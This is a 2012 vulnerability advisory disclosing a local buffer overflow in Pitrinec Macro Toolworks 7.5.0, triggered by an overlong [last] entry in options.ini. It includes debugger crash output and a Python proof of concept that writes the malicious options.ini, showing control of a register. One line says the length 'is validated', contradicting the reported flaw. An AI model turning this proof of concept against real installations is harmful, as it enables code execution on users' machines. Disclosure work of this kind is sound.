Pitrinec MacroToolworks 7.5 Buffer Overflow

`Title:  
======  
Pitrinec MacroToolworks 7.5 - Buffer Overflow Vulnerability  
  
  
Date:  
=====  
2012-03-08  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=466  
  
  
VL-ID:  
=====  
466  
  
  
Introduction:  
=============  
Macro Toolworks is powerful all-in-one Windows automation macro software. It allows user to record macros,   
visually edit macros and playback macros in any Windows application. Each macro can be triggered multiple ways   
depending on the user s needs: by keyboard shortcuts, mouse clicks or other events, macro scheduler, hotkey,   
toolbars, etc. Macros recorded in macro recorder (both keyboard recorder and mouse recorder) can be manually   
edited and optimized. Macros can simply mimic user by sending Windows keys and mouse clicks or they can do even   
more complex repetitive daily tasks such as file backups and other file manipulation, fill web forms, e-mail   
writing, chatting, inserting data to database forms, files downloading/uploading, file and directory zipping   
and encryption and more ...  
  
(Copy of the Vendor Homepage: http://www.pitrinec.com/toolsworks_de.htm )  
  
  
Abstract:  
=========  
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0.   
  
  
Report-Timeline:  
================  
2012-03-08: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Pitrinec Software  
Product: Macro Toolworks Framework Free, Pro & Standard v7.5.0  
  
  
Exploitation-Technique:  
=======================  
Local  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
A Buffer Overflow vulnerability is detected on Pitrinecs Software Macro Toolworks Free/Standard/Pro v7.5.0 Edition (current version).   
The vulnerability is located in the main executeable _prog.exe, which gets invoked e.g. by   
the _loader.exe or by StartMacroToolworks.exe. When launching the _prog.exe or one executeable   
which invokes the _prog.exe, it automatically reads the contents of the options.ini from the   
application directory. It reads the [last] section string to determine which files have been   
opened at last by the user. The application does validate the string length of the [last] section   
before passing the content to a buffer, which could lead to a local buffer overflow.  
  
  
--- Debugger ---  
# 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The memory could not be read -> 42424242 (exc.code c0000005, tid 3128)  
  
# Registers:  
# EAX 0120EA00 Stack[000004C8]:0120EA00  
# EBX FFFFFFFF   
# ECX 42424242   
# EDX 00000002   
# ESI 007F6348 _prog.exe:007F6348  
# EDI 007F6348 _prog.exe:007F6348  
# EBP 0120EA0C Stack[000004C8]:0120EA0C  
# ESP 0120E9E8 Stack[000004C8]:0120E9E8  
# EIP 00646D36 _prog.exe:00646D36  
# EFL 00200206  
  
# Stack:  
# 0120E9E0 0012DF3C  
# 0120E9E4 00000000  
# 0120E9E8 0205A5A0 debug045:0205A5A0  
# 0120E9EC 1B879EF8  
# 0120E9F0 007F6348 _prog.exe:007F6348  
# 0120E9F4 007F6348 _prog.exe:007F6348  
  
# Crash:  
# _prog.exe:00646D36 ; ---------------------------------------------------------------------------  
# _prog.exe:00646D36 mov eax, [ecx]  
# _prog.exe:00646D38 call dword ptr [eax+0Ch]  
# _prog.exe:00646D3B call near ptr unk_6750D0  
# _prog.exe:00646D40 retn 4  
# _prog.exe:00646D40 ; ---------------------------------------------------------------------------  
  
# Dump:  
# 007F6380 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
# 007F6390 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
# 007F63A0 42 42 42 42 43 43 43 43 43 43 43 43 43 43 43 43 BBBBCCCCCCCCCCCC  
# 007F63B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC  
# 007F63C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC  
  
Note: Affected are all other products provided by Pitrinec Software which use the _prog.exe too.  
  
Picture(s):  
../1.png  
  
  
Proof of Concept:  
=================  
The buffer overflow vulnerability can be exploited by local attackers without user inter action. For demonstration or reproduce ...  
  
#!/usr/bin/python  
  
# Exploit Title: Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0 Local Buffer Overflow  
# Version: 7.5.0  
# Date: 2012-03-04  
# Author: Julien Ahrens  
# Homepage: http://www.inshell.net  
# Software Link: http://www.macrotoolworks.com  
# Tested on: Windows XP SP3 Professional German / Windows 7 SP1 Home Premium German  
# Notes: Overflow occurs in _prog.exe, vulnerable are all Pitrinec applications on the same way.  
# Howto: Copy options.ini to App-Dir --> Launch  
  
# 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The memory could not be read -> 42424242 (exc.code c0000005, tid 3128)  
  
# Registers:  
# EAX 0120EA00 Stack[000004C8]:0120EA00  
# EBX FFFFFFFF   
# ECX 42424242   
# EDX 00000002   
# ESI 007F6348 _prog.exe:007F6348  
# EDI 007F6348 _prog.exe:007F6348  
# EBP 0120EA0C Stack[000004C8]:0120EA0C  
# ESP 0120E9E8 Stack[000004C8]:0120E9E8  
# EIP 00646D36 _prog.exe:00646D36  
# EFL 00200206  
  
# Stack:  
# 0120E9E0 0012DF3C  
# 0120E9E4 00000000  
# 0120E9E8 0205A5A0 debug045:0205A5A0  
# 0120E9EC 1B879EF8  
# 0120E9F0 007F6348 _prog.exe:007F6348  
# 0120E9F4 007F6348 _prog.exe:007F6348  
  
# Crash:  
# _prog.exe:00646D36 ; ---------------------------------------------------------------------------  
# _prog.exe:00646D36 mov eax, [ecx]  
# _prog.exe:00646D38 call dword ptr [eax+0Ch]  
# _prog.exe:00646D3B call near ptr unk_6750D0  
# _prog.exe:00646D40 retn 4  
# _prog.exe:00646D40 ; ---------------------------------------------------------------------------  
  
# Dump:  
# 007F6380 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
# 007F6390 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA  
# 007F63A0 42 42 42 42 43 43 43 43 43 43 43 43 43 43 43 43 BBBBCCCCCCCCCCCC  
# 007F63B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC  
# 007F63C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC  
  
file="options.ini"  
  
junk1="\x41" * 744  
boom="\x42\x42\x42\x42"  
junk2="\x43" * 100  
  
poc="[last]\n"  
poc=poc + "file=" + junk1 + boom + junk2   
  
try:  
print "[*] Creating exploit file...\n"  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print "[*] File successfully created!"  
except:  
print "[!] Error while creating file!"  
  
  
Risk:  
=====  
The security risk of the local buffer overflow vulnerability is estimated as high.  
  
  
Credits:  
========  
Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer)   
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
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may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-  
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab or its suppliers.  
  
Copyright © 2012|Vulnerability-Lab  
  
  
  
  
--   
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com  
Contact: [email protected] or [email protected]  
  
`